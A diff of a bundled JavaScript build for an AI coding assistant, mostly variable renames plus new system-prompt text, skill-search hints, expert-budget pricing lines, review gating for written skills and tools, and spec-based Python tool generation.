@@ -50562,14 +51116,14 @@ function assertKeyMatchesCert(cert, key, passphrase) {
50562
51116
  }
50563
51117
  const probe2 = Buffer.from("light-code-key-match-probe");
50564
51118
  try {
50565
- const signature = crypto2.sign(null, probe2, privateKey);
50566
- if (!crypto2.verify(null, probe2, publicKey, signature)) {
51119
+ const signature = crypto.sign(null, probe2, privateKey);
51120
+ if (!crypto.verify(null, probe2, publicKey, signature)) {
50567
51121
  throw new CertError("The private key does not match the certificate.");
50568
51122
  }
50569
51123
  } catch (error51) {
50570
51124
  if (error51 instanceof CertError)
50571
51125
  throw error51;
50572
- const derived = crypto2.createPublicKey(privateKey).export({ type: "spki", format: "der" });
51126
+ const derived = crypto.createPublicKey(privateKey).export({ type: "spki", format: "der" });
50573
51127
  const expected = publicKey.export({ type: "spki", format: "der" });
50574
51128
  if (!derived.equals(expected)) {
50575
51129
  throw new CertError("The private key does not match the certificate.");
@@ -50601,7 +51155,7 @@ async function loadCerts(config2) {
50601
51155
  loaded.cert = cert;
50602
51156
  loaded.key = key;
50603
51157
  try {
50604
- loaded.notAfter = new Date(new crypto2.X509Certificate(cert).validTo);
51158
+ loaded.notAfter = new Date(new crypto.X509Certificate(cert).validTo);
50605
51159
  } catch {
50606
51160
  }
50607
51161
  return loaded;
@@ -51701,8 +52255,8 @@ var SUPERSEDED_MARKER = "[Superseded: this file was read again later in the conv
51701
52255
  function readFilePath(argumentsJson) {
51702
52256
  try {
51703
52257
  const parsed = JSON.parse(argumentsJson.length > 0 ? argumentsJson : "{}");
51704
- const path26 = parsed.path;
51705
- return typeof path26 === "string" && path26.length > 0 ? path26 : void 0;
52258
+ const path29 = parsed.path;
52259
+ return typeof path29 === "string" && path29.length > 0 ? path29 : void 0;
51706
52260
  } catch {
51707
52261
  return void 0;
51708
52262
  }
@@ -51715,8 +52269,8 @@ function dropSupersededReads(messages) {
51715
52269
  for (const toolCall of message.toolCalls ?? []) {
51716
52270
  if (toolCall.name !== "read_file")
51717
52271
  continue;
51718
- const path26 = readFilePath(toolCall.arguments);
51719
- if (path26 === void 0)
52272
+ const path29 = readFilePath(toolCall.arguments);
52273
+ if (path29 === void 0)
51720
52274
  continue;
51721
52275
  keyByCallId.set(toolCall.id, toolCall.arguments);
51722
52276
  }
@@ -52106,8 +52660,20 @@ function buildSystemPrompt(workspaceRoot, options = {}) {
52106
52660
  if (options.skills !== void 0 && options.skills.length > 0) {
52107
52661
  lines.push("", options.skills);
52108
52662
  }
52663
+ if (options.pythonToolsDisabled === true) {
52664
+ lines.push(
52665
+ "",
52666
+ "Python tools:",
52667
+ "- You cannot create runnable tools right now \u2014 the feature is switched off in Settings",
52668
+ " \u2192 Python.",
52669
+ // One line, unwrapped: it is the instruction that matters and a test asserts it verbatim.
52670
+ "- Do not write a script and call it a tool.",
52671
+ '- If the user asks for a "tool", say it is switched off and let them choose: enable it in',
52672
+ " Settings \u2192 Python, or have you write an ordinary script instead."
52673
+ );
52674
+ }
52109
52675
  if (options.canWriteSkills === true) {
52110
- lines.push("", "Recording what you learn:", "- When the user explains something durable about their environment \u2014 an internal", " library and how to use it, a house convention, the shape of an in-house API, a", " gotcha specific to this codebase \u2014 offer to record it with write_skill. Ask first;", " do not write one unprompted.", '- "Durable" means it would be true again next week and useful to a future', " conversation. A one-off instruction for the current task is not a skill.", "- Before writing a new skill, check the list above: if one already covers the", " subject, read it and update that instead of creating a near-duplicate.", "- When you learn something *corrects* an existing skill, say so and offer to update", " it. A stale skill is worse than a missing one, because it is trusted.", "- Write for a reader who has none of this conversation: name the package, the import", ' path, the function, and show a short example. Avoid "as discussed" and "the usual".', "- The description line is the only part always in context, so make it say what", " subject the skill covers \u2014 it is a trigger for reading, not a summary.");
52676
+ lines.push("", "Recording what you learn:", "- When the user explains something durable about their environment \u2014 an internal", " library and how to use it, a house convention, the shape of an in-house API, a", " gotcha specific to this codebase \u2014 offer to record it with write_skill. Ask first;", " do not write one unprompted.", '- "Durable" means it would be true again next week and useful to a future', " conversation. A one-off instruction for the current task is not a skill.", options.skillsSearchable === true ? "- Before writing a new skill, search for one with search_docs: if a note already covers the subject, read it and update that instead of creating a near-duplicate." : "- Before writing a new skill, check the list above: if one already covers the subject, read it and update that instead of creating a near-duplicate.", "- When you learn something *corrects* an existing skill, say so and offer to update", " it. A stale skill is worse than a missing one, because it is trusted.", "- Write for a reader who has none of this conversation: name the package, the import", ' path, the function, and show a short example. Avoid "as discussed" and "the usual".', options.skillsSearchable === true ? "- The description line is what search matches on, so make it say what subject the skill covers in the words someone would search for \u2014 it is a trigger, not a summary." : "- The description line is the only part always in context, so make it say what subject the skill covers \u2014 it is a trigger for reading, not a summary.");
52111
52677
  }
52112
52678
  if (options.expertAvailable === true) {
52113
52679
  lines.push("", "Expert consultation:", "- A stronger model, Claude, is available through the ask_expert tool. You CAN talk to", " it. Never tell the user you have no way to reach another model \u2014 you do.", '- **If the user asks you to consult it, do so.** "Ask Claude", "check with the', ' expert", "what does Claude think" and anything similar are direct instructions.', " It is their money and their decision; do not talk them out of it or decide the", " question is too simple to be worth asking.", "- Otherwise, judge it yourself. It costs real money per call, so on your own", " initiative use it for: planning a change spanning several files, diagnosing a bug", " you have already failed to fix once, choosing between designs with long-lived", " consequences, or reviewing something subtle before committing to it.", "- On your own initiative, do not use it for anything you could answer by reading a", " file, for routine edits, or for restating something already established here.", "- If you decide against consulting it, say that you chose not to and why. Do not say", " you are unable to.", "- The expert can read and search this workspace but cannot edit or run anything. It", " cannot see this conversation, so put the context it needs in your question.", "- You remain responsible for the work. Treat its answer as advice from a colleague:", " verify it against the actual code, and say so if you disagree.");
@@ -52602,7 +53168,7 @@ function buildExpertBriefing(input) {
52602
53168
  }
52603
53169
 
52604
53170
  // ../../packages/core/dist/expert/budget.js
52605
- function money(value) {
53171
+ function money2(value) {
52606
53172
  return `$${value.toFixed(value < 1 ? 4 : 2)}`;
52607
53173
  }
52608
53174
  function checkExpertBudget(spend, limits) {
@@ -52617,7 +53183,7 @@ function checkExpertBudget(spend, limits) {
52617
53183
  if (maxSpend > 0 && spend.usd >= maxSpend) {
52618
53184
  return {
52619
53185
  allowed: false,
52620
- message: `The expert spending limit for this task has been reached (${money(spend.usd)} of ${money(maxSpend)}). Continue on your own: use what the expert has already told you, read the code directly, and say plainly if you are stuck rather than guessing. The user can raise the limit in Settings \u2192 Expert, or start a new task to reset it.` + (spend.unpriced > 0 ? ` Note ${String(spend.unpriced)} consultation${spend.unpriced === 1 ? "" : "s"} reported no cost, so the real total is higher than the figure above.` : "")
53186
+ message: `The expert spending limit for this task has been reached (${money2(spend.usd)} of ${money2(maxSpend)}). Continue on your own: use what the expert has already told you, read the code directly, and say plainly if you are stuck rather than guessing. The user can raise the limit in Settings \u2192 Expert, or start a new task to reset it.` + (spend.unpriced > 0 ? ` Note ${String(spend.unpriced)} consultation${spend.unpriced === 1 ? "" : "s"} reported no cost, so the real total is higher than the figure above.` : "")
52621
53187
  };
52622
53188
  }
52623
53189
  return { allowed: true };
@@ -52634,7 +53200,7 @@ function expertBudgetUsage(spend, limits) {
52634
53200
  return void 0;
52635
53201
  return Math.min(1, Math.max(...fractions));
52636
53202
  }
52637
- function describeExpertBudget(spend, limits) {
53203
+ function describeExpertBudget(spend, limits, pricing) {
52638
53204
  const parts = [];
52639
53205
  const maxConsultations = limits.maxConsultations ?? 0;
52640
53206
  if (maxConsultations > 0) {
@@ -52643,11 +53209,14 @@ function describeExpertBudget(spend, limits) {
52643
53209
  }
52644
53210
  const maxSpend = limits.maxSpendUsd ?? 0;
52645
53211
  if (maxSpend > 0) {
52646
- parts.push(`${money(Math.max(0, maxSpend - spend.usd))} of ${money(maxSpend)} left`);
53212
+ parts.push(`${money2(Math.max(0, maxSpend - spend.usd))} of ${money2(maxSpend)} left`);
52647
53213
  }
52648
53214
  if (parts.length === 0)
52649
- return void 0;
52650
- return `Budget for this task: ${parts.join(", ")}. Plan the number of checkpoints to fit \u2014 when it runs out the junior finishes alone.`;
53215
+ return pricing;
53216
+ return [
53217
+ `Budget for this task: ${parts.join(", ")}. Plan the number of checkpoints to fit \u2014 when it runs out the junior finishes alone.`,
53218
+ pricing
53219
+ ].filter((line) => line !== void 0).join(" ");
52651
53220
  }
52652
53221
 
52653
53222
  // ../../packages/core/dist/rag/vectorStore.js
@@ -52700,13 +53269,13 @@ var OpenSearchClient = class {
52700
53269
  * `_bulk`, `_delete_by_query`, index creation — is refused here rather than merely
52701
53270
  * unused, so no future edit or crafted argument can turn a read client into a writer.
52702
53271
  */
52703
- async request(path26, options = {}) {
53272
+ async request(path29, options = {}) {
52704
53273
  const method = options.method ?? "GET";
52705
- const isSearchPost = method === "POST" && /\/_search(\?|$)/.test(path26);
53274
+ const isSearchPost = method === "POST" && /\/_search(\?|$)/.test(path29);
52706
53275
  if (method !== "GET" && !isSearchPost) {
52707
- throw new OpenSearchError(`Refusing ${method} ${path26}: this client is read-only. Indexing goes through the indexer, which the user starts from Settings.`);
53276
+ throw new OpenSearchError(`Refusing ${method} ${path29}: this client is read-only. Indexing goes through the indexer, which the user starts from Settings.`);
52708
53277
  }
52709
- const url2 = `${this.base}${path26}`;
53278
+ const url2 = `${this.base}${path29}`;
52710
53279
  const request = {
52711
53280
  method,
52712
53281
  headers: this.headers()
@@ -52860,11 +53429,11 @@ function collectFields(properties, prefix, out) {
52860
53429
  return;
52861
53430
  for (const [name, raw] of Object.entries(properties)) {
52862
53431
  const field = raw;
52863
- const path26 = prefix.length > 0 ? `${prefix}.${name}` : name;
53432
+ const path29 = prefix.length > 0 ? `${prefix}.${name}` : name;
52864
53433
  if (typeof field.type === "string")
52865
- out[path26] = field.type;
53434
+ out[path29] = field.type;
52866
53435
  if (field.properties !== void 0)
52867
- collectFields(field.properties, path26, out);
53436
+ collectFields(field.properties, path29, out);
52868
53437
  }
52869
53438
  }
52870
53439
  function describeStatus(status, url2, body) {
@@ -52883,23 +53452,23 @@ function describeStatus(status, url2, body) {
52883
53452
  var TEXT_TYPES = /* @__PURE__ */ new Set(["text", "match_only_text", "search_as_you_type", "wildcard"]);
52884
53453
  var KEYWORD_TYPES = /* @__PURE__ */ new Set(["keyword", "constant_keyword"]);
52885
53454
  var NOISE_FIELDS = /* @__PURE__ */ new Set(["@version", "ecs", "tags", "stream", "input", "agent", "host", "event"]);
52886
- function leafName(path26) {
52887
- const parts = path26.split(".");
52888
- return parts[parts.length - 1] ?? path26;
53455
+ function leafName(path29) {
53456
+ const parts = path29.split(".");
53457
+ return parts[parts.length - 1] ?? path29;
52889
53458
  }
52890
53459
  function selectQueryFields(mapping, limit = 25) {
52891
53460
  const text = [];
52892
53461
  const keyword = [];
52893
- for (const [path26, type] of Object.entries(mapping)) {
52894
- if (NOISE_FIELDS.has(leafName(path26)) || NOISE_FIELDS.has(path26.split(".")[0] ?? ""))
53462
+ for (const [path29, type] of Object.entries(mapping)) {
53463
+ if (NOISE_FIELDS.has(leafName(path29)) || NOISE_FIELDS.has(path29.split(".")[0] ?? ""))
52895
53464
  continue;
52896
53465
  if (TEXT_TYPES.has(type)) {
52897
- text.push(path26);
53466
+ text.push(path29);
52898
53467
  } else if (KEYWORD_TYPES.has(type)) {
52899
- const parent = path26.replace(/\.keyword$/, "");
52900
- if (path26.endsWith(".keyword") && TEXT_TYPES.has(mapping[parent] ?? ""))
53468
+ const parent = path29.replace(/\.keyword$/, "");
53469
+ if (path29.endsWith(".keyword") && TEXT_TYPES.has(mapping[parent] ?? ""))
52901
53470
  continue;
52902
- keyword.push(path26);
53471
+ keyword.push(path29);
52903
53472
  }
52904
53473
  }
52905
53474
  const byDepth = (a, b) => a.split(".").length - b.split(".").length || a.localeCompare(b);
@@ -53041,8 +53610,8 @@ var OpenSearchIndexWriter = class {
53041
53610
  }
53042
53611
  return headers;
53043
53612
  }
53044
- async request(path26, method, body, signal) {
53045
- const url2 = `${this.connection.url.replace(/\/+$/, "")}${path26}`;
53613
+ async request(path29, method, body, signal) {
53614
+ const url2 = `${this.connection.url.replace(/\/+$/, "")}${path29}`;
53046
53615
  const request = { method, headers: this.headers() };
53047
53616
  if (body !== void 0) {
53048
53617
  if (typeof body === "string") {
@@ -53197,13 +53766,13 @@ var OpenSearchIndexWriter = class {
53197
53766
  for (const hit of hits) {
53198
53767
  const source = hit._source ?? {};
53199
53768
  const vector = source.vector;
53200
- const path26 = source.path;
53201
- if (typeof path26 !== "string" || !Array.isArray(vector))
53769
+ const path29 = source.path;
53770
+ if (typeof path29 !== "string" || !Array.isArray(vector))
53202
53771
  continue;
53203
53772
  documents.push({
53204
53773
  id: hit._id ?? "",
53205
53774
  text: typeof source.text === "string" ? source.text : "",
53206
- path: path26,
53775
+ path: path29,
53207
53776
  startLine: typeof source.startLine === "number" ? source.startLine : 1,
53208
53777
  endLine: typeof source.endLine === "number" ? source.endLine : 1,
53209
53778
  vector
@@ -53277,8 +53846,8 @@ var RestTransport = class {
53277
53846
  * threw would push every caller into catching and re-inspecting an error to find out
53278
53847
  * whether it was really an error. `expectOk` is there for the cases that are.
53279
53848
  */
53280
- async send(path26, method, body, signal) {
53281
- const url2 = `${this.connection.url.replace(/\/+$/, "")}${path26}`;
53849
+ async send(path29, method, body, signal) {
53850
+ const url2 = `${this.connection.url.replace(/\/+$/, "")}${path29}`;
53282
53851
  const request = { method, headers: this.headers() };
53283
53852
  if (body !== void 0)
53284
53853
  request.body = JSON.stringify(body);
@@ -53304,11 +53873,11 @@ var RestTransport = class {
53304
53873
  return { status: response.status, body: parsed };
53305
53874
  }
53306
53875
  /** Sends, and throws unless the status is 2xx. */
53307
- async expectOk(path26, method, body, signal) {
53308
- const result = await this.send(path26, method, body, signal);
53876
+ async expectOk(path29, method, body, signal) {
53877
+ const result = await this.send(path29, method, body, signal);
53309
53878
  if (result.status < 200 || result.status >= 300) {
53310
53879
  const detail = typeof result.body === "string" ? result.body : JSON.stringify(result.body ?? "");
53311
- throw new VectorStoreError(`${method} ${path26} on ${this.label} returned HTTP ${String(result.status)}. ${detail.slice(0, 300)}`, result.status);
53880
+ throw new VectorStoreError(`${method} ${path29} on ${this.label} returned HTTP ${String(result.status)}. ${detail.slice(0, 300)}`, result.status);
53312
53881
  }
53313
53882
  return result.body;
53314
53883
  }
@@ -53402,10 +53971,10 @@ var ChromaSearcher = class extends ChromaBase {
53402
53971
  const matches = [];
53403
53972
  for (let index = 0; index < ids.length; index++) {
53404
53973
  const metadata = metadatas[index] ?? {};
53405
- const path26 = typeof metadata.path === "string" ? metadata.path : void 0;
53406
- if (path26 === void 0)
53974
+ const path29 = typeof metadata.path === "string" ? metadata.path : void 0;
53975
+ if (path29 === void 0)
53407
53976
  continue;
53408
- if (filtering && !path26.startsWith(prefix))
53977
+ if (filtering && !path29.startsWith(prefix))
53409
53978
  continue;
53410
53979
  const distance = distances[index];
53411
53980
  const match = {
@@ -53417,7 +53986,7 @@ var ChromaSearcher = class extends ChromaBase {
53417
53986
  */
53418
53987
  score: typeof distance === "number" ? 1 / (1 + Math.max(0, distance)) : 0,
53419
53988
  text: documents[index] ?? (typeof metadata.text === "string" ? metadata.text : ""),
53420
- path: path26
53989
+ path: path29
53421
53990
  };
53422
53991
  if (typeof metadata.startLine === "number")
53423
53992
  match.startLine = metadata.startLine;
@@ -53522,13 +54091,13 @@ var ChromaIndexWriter = class extends ChromaBase {
53522
54091
  for (let index = 0; index < ids.length; index++) {
53523
54092
  const metadata = result.metadatas?.[index] ?? {};
53524
54093
  const vector = result.embeddings?.[index];
53525
- const path26 = typeof metadata.path === "string" ? metadata.path : void 0;
53526
- if (path26 === void 0 || !Array.isArray(vector))
54094
+ const path29 = typeof metadata.path === "string" ? metadata.path : void 0;
54095
+ if (path29 === void 0 || !Array.isArray(vector))
53527
54096
  continue;
53528
54097
  documents.push({
53529
54098
  id: ids[index] ?? "",
53530
54099
  text: result.documents?.[index] ?? "",
53531
- path: path26,
54100
+ path: path29,
53532
54101
  startLine: typeof metadata.startLine === "number" ? metadata.startLine : 1,
53533
54102
  endLine: typeof metadata.endLine === "number" ? metadata.endLine : 1,
53534
54103
  vector
@@ -53545,9 +54114,9 @@ var ChromaIndexWriter = class extends ChromaBase {
53545
54114
  const result = await this.rest.expectOk(`${this.base}/collections/${found.id}/get`, "POST", { include: ["metadatas"], limit }, options.signal);
53546
54115
  const paths = /* @__PURE__ */ new Set();
53547
54116
  for (const metadata of result.metadatas ?? []) {
53548
- const path26 = metadata?.path;
53549
- if (typeof path26 === "string")
53550
- paths.add(path26);
54117
+ const path29 = metadata?.path;
54118
+ if (typeof path29 === "string")
54119
+ paths.add(path29);
53551
54120
  }
53552
54121
  return [...paths];
53553
54122
  }
@@ -53574,14 +54143,14 @@ var MARKER_ID = "5f6d2a41-0000-5000-8000-6c69676874c0";
53574
54143
  var MARKER_MARK = "light-code";
53575
54144
  function toMatch(point) {
53576
54145
  const payload = point.payload ?? {};
53577
- const path26 = typeof payload.path === "string" ? payload.path : void 0;
53578
- if (path26 === void 0)
54146
+ const path29 = typeof payload.path === "string" ? payload.path : void 0;
54147
+ if (path29 === void 0)
53579
54148
  return void 0;
53580
54149
  const match = {
53581
54150
  id: typeof payload.chunkId === "string" ? payload.chunkId : point.id,
53582
54151
  score: typeof point.score === "number" ? point.score : 0,
53583
54152
  text: typeof payload.text === "string" ? payload.text : "",
53584
- path: path26
54153
+ path: path29
53585
54154
  };
53586
54155
  if (typeof payload.startLine === "number")
53587
54156
  match.startLine = payload.startLine;
@@ -53744,13 +54313,13 @@ var QdrantIndexWriter = class extends QdrantBase {
53744
54313
  const documents = [];
53745
54314
  for (const point of result.body.result?.points ?? []) {
53746
54315
  const payload = point.payload ?? {};
53747
- const path26 = typeof payload.path === "string" ? payload.path : void 0;
53748
- if (path26 === void 0 || !Array.isArray(point.vector))
54316
+ const path29 = typeof payload.path === "string" ? payload.path : void 0;
54317
+ if (path29 === void 0 || !Array.isArray(point.vector))
53749
54318
  continue;
53750
54319
  documents.push({
53751
54320
  id: typeof payload.chunkId === "string" ? payload.chunkId : point.id,
53752
54321
  text: typeof payload.text === "string" ? payload.text : "",
53753
- path: path26,
54322
+ path: path29,
53754
54323
  startLine: typeof payload.startLine === "number" ? payload.startLine : 1,
53755
54324
  endLine: typeof payload.endLine === "number" ? payload.endLine : 1,
53756
54325
  vector: point.vector
@@ -53777,9 +54346,9 @@ var QdrantIndexWriter = class extends QdrantBase {
53777
54346
  throw new VectorStoreError(`Could not list "${collection}" (HTTP ${String(result.status)}).`, result.status);
53778
54347
  }
53779
54348
  for (const point of result.body.result?.points ?? []) {
53780
- const path26 = point.payload?.path;
53781
- if (typeof path26 === "string")
53782
- paths.add(path26);
54349
+ const path29 = point.payload?.path;
54350
+ if (typeof path29 === "string")
54351
+ paths.add(path29);
53783
54352
  }
53784
54353
  offset = result.body.result?.next_page_offset;
53785
54354
  if (offset === void 0 || offset === null)
@@ -54933,14 +55502,14 @@ function formatBytes(size) {
54933
55502
  return `${(size / (1 << 10)).toFixed(1)}KB`;
54934
55503
  return `${String(size)}B`;
54935
55504
  }
54936
- async function readTail(fs20, path26, size, count) {
55505
+ async function readTail(fs24, path29, size, count) {
54937
55506
  let span = Math.min(size, CHUNK);
54938
55507
  let text;
54939
55508
  let start;
54940
55509
  for (; ; ) {
54941
55510
  start = Math.max(0, size - span);
54942
55511
  const decoder = new StringDecoder("utf8");
54943
- text = decoder.write(await fs20.readBytesSlice(path26, start, size)) + decoder.end();
55512
+ text = decoder.write(await fs24.readBytesSlice(path29, start, size)) + decoder.end();
54944
55513
  const enough = text.split("\n").length > count;
54945
55514
  if (enough || start === 0 || span >= size)
54946
55515
  break;
@@ -54958,7 +55527,7 @@ async function readTail(fs20, path26, size, count) {
54958
55527
  hasMoreAfter: false
54959
55528
  };
54960
55529
  }
54961
- async function readLineWindow(fs20, path26, size, from, count) {
55530
+ async function readLineWindow(fs24, path29, size, from, count) {
54962
55531
  const decoder = new StringDecoder("utf8");
54963
55532
  const lines = [];
54964
55533
  let pending = "";
@@ -54973,7 +55542,7 @@ async function readLineWindow(fs20, path26, size, from, count) {
54973
55542
  };
54974
55543
  scan: while (position < size) {
54975
55544
  const end = Math.min(size, position + CHUNK);
54976
- pending += decoder.write(await fs20.readBytesSlice(path26, position, end));
55545
+ pending += decoder.write(await fs24.readBytesSlice(path29, position, end));
54977
55546
  position = end;
54978
55547
  const parts = pending.split(/\r\n|\r|\n/);
54979
55548
  pending = parts.pop() ?? "";
@@ -54996,13 +55565,13 @@ async function readLineWindow(fs20, path26, size, from, count) {
54996
55565
  hasMoreAfter: !reachedEnd || lineNumber > from + lines.length
54997
55566
  };
54998
55567
  }
54999
- async function countLines(fs20, path26, size) {
55568
+ async function countLines(fs24, path29, size) {
55000
55569
  let newlines = 0;
55001
55570
  let position = 0;
55002
55571
  let lastByte = -1;
55003
55572
  while (position < size) {
55004
55573
  const end = Math.min(size, position + CHUNK);
55005
- const buffer = await fs20.readBytesSlice(path26, position, end);
55574
+ const buffer = await fs24.readBytesSlice(path29, position, end);
55006
55575
  for (const byte of buffer)
55007
55576
  if (byte === 10)
55008
55577
  newlines += 1;
@@ -55075,7 +55644,7 @@ function chunkFile(content, options = {}) {
55075
55644
  }
55076
55645
 
55077
55646
  // ../../packages/core/dist/rag/indexer.js
55078
- import crypto3 from "node:crypto";
55647
+ import crypto2 from "node:crypto";
55079
55648
  import fs5 from "node:fs/promises";
55080
55649
  import path9 from "node:path";
55081
55650
  var ALWAYS_SKIP = /* @__PURE__ */ new Set([
@@ -55170,7 +55739,7 @@ var SKIP_FILENAMES = /* @__PURE__ */ new Set([
55170
55739
  ".env"
55171
55740
  ]);
55172
55741
  function hashContent(content) {
55173
- return crypto3.createHash("sha256").update(content).digest("hex").slice(0, 32);
55742
+ return crypto2.createHash("sha256").update(content).digest("hex").slice(0, 32);
55174
55743
  }
55175
55744
  function chunkSignatureFor(options) {
55176
55745
  return JSON.stringify([options?.windowLines ?? null, options?.overlapLines ?? null, options?.maxChars ?? null]);
@@ -59074,12 +59643,12 @@ function createFetchWithInit(baseFetch = fetch, baseInit) {
59074
59643
  }
59075
59644
 
59076
59645
  // ../../node_modules/.pnpm/pkce-challenge@5.0.1/node_modules/pkce-challenge/dist/index.node.js
59077
- var crypto4;
59078
- crypto4 = globalThis.crypto?.webcrypto ?? // Node.js [18-16] REPL
59646
+ var crypto3;
59647
+ crypto3 = globalThis.crypto?.webcrypto ?? // Node.js [18-16] REPL
59079
59648
  globalThis.crypto ?? // Node.js >18
59080
59649
  import("node:crypto").then((m) => m.webcrypto);
59081
59650
  async function getRandomValues(size) {
59082
- return (await crypto4).getRandomValues(new Uint8Array(size));
59651
+ return (await crypto3).getRandomValues(new Uint8Array(size));
59083
59652
  }
59084
59653
  async function random(size) {
59085
59654
  const mask = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~";
@@ -59099,7 +59668,7 @@ async function generateVerifier(length) {
59099
59668
  return await random(length);
59100
59669
  }
59101
59670
  async function generateChallenge(code_verifier) {
59102
- const buffer = await (await crypto4).subtle.digest("SHA-256", new TextEncoder().encode(code_verifier));
59671
+ const buffer = await (await crypto3).subtle.digest("SHA-256", new TextEncoder().encode(code_verifier));
59103
59672
  return btoa(String.fromCharCode(...new Uint8Array(buffer))).replace(/\//g, "_").replace(/\+/g, "-").replace(/=/g, "");
59104
59673
  }
59105
59674
  async function pkceChallenge(length) {
@@ -61223,6 +61792,24 @@ async function loadSkills(dirs) {
61223
61792
  skills.sort((a, b) => a.name.localeCompare(b.name));
61224
61793
  return { skills, issues };
61225
61794
  }
61795
+ function renderSkillsHintForPrompt(count) {
61796
+ if (count === 0)
61797
+ return "";
61798
+ const plural = count === 1 ? "note has" : "notes have";
61799
+ return [
61800
+ "## Skills",
61801
+ "",
61802
+ `${String(count)} ${plural} been recorded for this workspace: house conventions, internal`,
61803
+ "libraries, and gotchas specific to this codebase. They are not listed here.",
61804
+ "",
61805
+ "- Before working on an unfamiliar part of this workspace, or whenever the user mentions",
61806
+ " something internal you do not recognise, call search_docs to look for a relevant note.",
61807
+ '- Search by subject, in your own words \u2014 "how we call internal HTTP services", not a',
61808
+ " guessed file name.",
61809
+ "- A hit gives you the summary and a path. Read the file for the full text before acting",
61810
+ " on the subject."
61811
+ ].join("\n");
61812
+ }
61226
61813
  function renderSkillsForPrompt(skills) {
61227
61814
  if (skills.length === 0)
61228
61815
  return "";
@@ -61281,8 +61868,19 @@ function createWriteSkillTool(context) {
61281
61868
  async execute(params) {
61282
61869
  try {
61283
61870
  const filePath = await resolveSkillPath(context.skillsDir, params.name);
61284
- const existed = (await readIfPresent(filePath)).length > 0;
61285
- await fs9.writeFile(filePath, renderSkill(params.name, params.description, params.body), "utf8");
61871
+ const before = await readIfPresent(filePath);
61872
+ const existed = before.length > 0;
61873
+ const rendered = renderSkill(params.name, params.description, params.body);
61874
+ if (context.submitForReview !== void 0) {
61875
+ return {
61876
+ content: await context.submitForReview({
61877
+ name: params.name,
61878
+ content: rendered,
61879
+ existingContent: before
61880
+ })
61881
+ };
61882
+ }
61883
+ await fs9.writeFile(filePath, rendered, "utf8");
61286
61884
  await context.onChanged();
61287
61885
  return {
61288
61886
  content: `${existed ? "Updated" : "Recorded"} the skill "${params.name}" at ${filePath}.
@@ -61323,12 +61921,12 @@ import fs12 from "node:fs/promises";
61323
61921
  import path16 from "node:path";
61324
61922
 
61325
61923
  // ../../packages/core/dist/python/registry.js
61326
- import crypto5 from "node:crypto";
61924
+ import crypto4 from "node:crypto";
61327
61925
  import fs10 from "node:fs/promises";
61328
61926
  import path14 from "node:path";
61329
61927
  var REGISTRY_FILE = ".registry.json";
61330
61928
  function hashSource(source) {
61331
- return crypto5.createHash("sha256").update(source.replace(/\r\n/g, "\n")).digest("hex");
61929
+ return crypto4.createHash("sha256").update(source.replace(/\r\n/g, "\n")).digest("hex");
61332
61930
  }
61333
61931
  function isValidToolName(name) {
61334
61932
  return /^[a-z][a-z0-9_]{0,63}$/.test(name);
@@ -61484,6 +62082,10 @@ var createParams = external_exports.object({
61484
62082
  name: external_exports.string().describe("Tool name: lowercase letters, digits and underscores. Becomes py__<name> and <name>.py."),
61485
62083
  source: external_exports.string().describe("The complete Python file. Must define `run`. Use type hints \u2014 the parameter schema is derived from them. The module docstring becomes the tool description; document parameters in a Google-style Args: block. Declare dependencies in a PEP 723 inline block if you need any.")
61486
62084
  });
62085
+ var specifyParams = external_exports.object({
62086
+ name: external_exports.string().describe("Tool name: lowercase letters, digits and underscores. Becomes py__<name> and <name>.py."),
62087
+ specification: external_exports.string().describe("What the tool must do, in prose. A model configured for code writes the file from this; you do not write Python here. Say what it takes, what it returns, and any library or endpoint it must use. The user approves the generated source before anything runs.")
62088
+ });
61487
62089
  var deleteParams2 = external_exports.object({
61488
62090
  name: external_exports.string().describe("The tool to remove.")
61489
62091
  });
@@ -61502,11 +62104,34 @@ async function readIfPresent2(filePath) {
61502
62104
  }
61503
62105
  }
61504
62106
  function makeWriteTool(context, options) {
62107
+ const generator = context.generateSource;
62108
+ const pending = /* @__PURE__ */ new Map();
62109
+ const sourceFor = async (params) => {
62110
+ if (generator === void 0 || params.specification === void 0) {
62111
+ return { source: params.source };
62112
+ }
62113
+ const key = `${params.name}::${params.specification}`;
62114
+ let inFlight = pending.get(key);
62115
+ if (inFlight === void 0) {
62116
+ const toolPath = resolveToolPath(context.toolsDir, params.name);
62117
+ inFlight = (async () => {
62118
+ const before = await readIfPresent2(await toolPath);
62119
+ const generated = await generator({
62120
+ toolName: params.name,
62121
+ specification: params.specification ?? "",
62122
+ ...before.length > 0 ? { existingSource: before } : {}
62123
+ });
62124
+ return { source: unwrapFencedSource(generated.source), producedBy: generated.producedBy };
62125
+ })();
62126
+ pending.set(key, inFlight);
62127
+ }
62128
+ return inFlight;
62129
+ };
61505
62130
  return {
61506
62131
  name: options.name,
61507
62132
  group: "edit",
61508
62133
  description: options.description,
61509
- parametersSchema: createParams,
62134
+ parametersSchema: generator !== void 0 ? specifyParams : createParams,
61510
62135
  /**
61511
62136
  * A real diff of the real file: its current content against exactly the bytes that
61512
62137
  * will be written. Not a summary and not the model's account of what it wrote
@@ -61516,7 +62141,14 @@ function makeWriteTool(context, options) {
61516
62141
  async preview(params) {
61517
62142
  const filePath = await resolveToolPath(context.toolsDir, params.name);
61518
62143
  const before = await readIfPresent2(filePath);
61519
- return { kind: "diff", path: filePath, before, after: params.source };
62144
+ const { source, producedBy } = await sourceFor(params);
62145
+ return {
62146
+ kind: "diff",
62147
+ path: filePath,
62148
+ before,
62149
+ after: source,
62150
+ ...producedBy !== void 0 ? { note: `Written by ${producedBy}` } : {}
62151
+ };
61520
62152
  },
61521
62153
  async execute(params) {
61522
62154
  try {
@@ -61531,15 +62163,26 @@ function makeWriteTool(context, options) {
61531
62163
  isError: true
61532
62164
  };
61533
62165
  }
62166
+ const { source, producedBy } = await sourceFor(params);
62167
+ if (context.submitForReview !== void 0) {
62168
+ return {
62169
+ content: await context.submitForReview({
62170
+ name: params.name,
62171
+ content: source,
62172
+ existingContent: before,
62173
+ ...producedBy !== void 0 ? { producedBy } : {}
62174
+ })
62175
+ };
62176
+ }
61534
62177
  await fs11.mkdir(context.toolsDir, { recursive: true });
61535
- await fs11.writeFile(filePath, params.source, "utf8");
62178
+ await fs11.writeFile(filePath, source, "utf8");
61536
62179
  const restore = async () => {
61537
62180
  if (before.length > 0)
61538
62181
  await fs11.writeFile(filePath, before, "utf8");
61539
62182
  else
61540
62183
  await fs11.rm(filePath, { force: true });
61541
62184
  };
61542
- const declared = parseInlineDependencies(params.source);
62185
+ const declared = parseInlineDependencies(source);
61543
62186
